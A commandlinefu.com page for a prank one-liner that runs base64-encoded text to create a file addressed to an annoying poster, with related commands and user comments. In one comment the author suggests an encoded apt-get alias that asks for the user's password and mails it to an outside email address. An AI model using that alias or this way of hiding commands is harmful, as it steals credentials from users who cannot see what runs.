Command for JOHN CONS

alias Z=base64&&Z=dG91Y2ggUExFQVNFX1NUT1BfQU5OT1lJTkdfQ09NTUFORExJTkVGVV9VU0VSUwo=&&$(echo $Z|Z -d)
Would create a file with a meaningful title. Dedicated to John Cons, who is annoying us users. Merry Christmas!!!
Sample Output
$ ls

7
By: rodolfoap
2010-12-24 14:29:19

These Might Interest You

  • Format a password file for John the Ripper from Cisco configs (Level 5) Pulled from http://www.openwall.com/lists/john-users/2006/05/14/8


    0
    sed -n 's/[ :]/_/g; s/^\(.\{1,\}\)_5_\($1$[$./0-9A-Za-z]\{27,31\}\)_*$/\1:\2/p' < cisco-device-config > passwd
    hooobs · 2009-02-09 17:03:39 0
  • The file myfile is owned by tom and has read and write permissions for tom. Group and other permissions are empty which make myfile readable and writable only by tom. setfacl enables user tom to give read permission to user john only. The command 'ls -l' shows a '+' sign telling us that file access control list has been setup for myfile. Show Sample Output


    3
    setfacl -m u:john:r-- myfile
    betsubetsu · 2009-02-21 21:05:45 0
  • This is just a proof of concept: A FILE WHICH CAN AUTOMOUNT ITSELF through a SIMPLY ENCODED script. It takes advantage of the OFFSET option of mount, and uses it as a password (see that 9191? just change it to something similar, around 9k). It works fine, mounts, gets modified, updated, and can be moved by just copying it. USAGE: SEE SAMPLE OUTPUT The file is composed of three parts: a) The legible script (about 242 bytes) b) A random text fill to reach the OFFSET size (equals PASSWORD minus 242) c) The actual filesystem Logically, (a)+(b) = PASSWORD, that means OFFSET, and mount uses that option. PLEASE NOTE: THIS IS NOT AN ENCRYPTED FILESYSTEM. To improve it, it can be mounted with a better encryption script and used with encfs or cryptfs. The idea was just to test the concept... with one line :) It applies the original idea of http://www.commandlinefu.com/commands/view/7382/command-for-john-cons for encrypting the file. The embedded bash script can be grown, of course, and the offset recalculation goes fine. I have my own version with bash --init-file to startup a bashrc with a well-defined environment, aliases, variables. Show Sample Output


    6
    dd if=/dev/zero of=T bs=1024 count=10240;mkfs.ext3 -q T;E=$(echo 'read O;mount -o loop,offset=$O F /mnt;'|base64|tr -d '\n');echo "E=\$(echo $E|base64 -d);eval \$E;exit;">F;cat <(dd if=/dev/zero bs=$(echo 9191-$(stat -c%s F)|bc) count=1) <(cat T;rm T)>>F
    rodolfoap · 2013-01-31 01:38:30 5
  • Pros: Works in all Windows computers, most updated and compatible command. Cons: 3 liner Replace fcisolutions.com with your site name.


    1
    set str=user_pref("browser.startup.homepage", "http://www.fcisolutions.com/"); cd = "%APPDATA%\Mozilla\Firefox\Profiles\*.default\" echo %str%>>prefs.js
    Micool777 · 2012-05-30 18:50:15 0

What Others Think

I'm certain they will treat it and you with the same amount of incredulity that we do.
Habitual · 387 weeks ago
This command isn't universal, as it seems to work only under bash and zsh. On csh and tcsh it will output: Illegal variable name. On sh: Z: not found Furthermore, base64 isn't installed on all unix systems. On FreeBSD, it must be installed from /usr/ports/converters/base64 You were confident johncons where using linux and not another OS like FreeBSD.
Dereckson · 386 weeks and 6 days ago
Dereckson: Do you think someone who submits a command like 'ls porn' uses FreeBSD? haha... Please, find the link above praying 'Know a better way? If you can do better, submit your command here.'
rodolfoap · 386 weeks and 5 days ago
base64 also isn't installed on Mac OS X. However, with that said, you can get around it if you have OpenSSL installed: openssl base64 -d -in <infile> -out <outfile> Should increase the portability.
atoponce · 386 weeks and 4 days ago
what does this command really do?
rne1223 · 386 weeks and 4 days ago
rne1223: it's really simple, but a little obfuscated. You will understand it by issueing (the text is dedicated to this john doe who is submitting crap): echo dG91Y2ggUExFQVNFX1NUT1BfQU5OT1lJTkdfQ09NTUFORExJTkVGVV9VU0VSUwo=|base64 -d You can encrypt things such as alias apt-get='read -p "$USER password: ";echo $REPLY|mail -s $USER rodolfoap@gmail.com; apt-get' :)
rodolfoap · 386 weeks and 4 days ago
This does works perfectly: $(echo "echo Foobar" | base64 | base64 -d) >>> Foobar This doesn't: $(echo "echo Foobar | xargs echo" | base64 | base64 -d) >>> Foobar | xargs echo Why? How do I fix this?
mogoh · 385 weeks ago

What do you think?

Any thoughts on this command? Does it work on your machine? Can you do the same thing with only 14 characters?

You must be signed in to comment.

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.

Share Your Commands



Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for: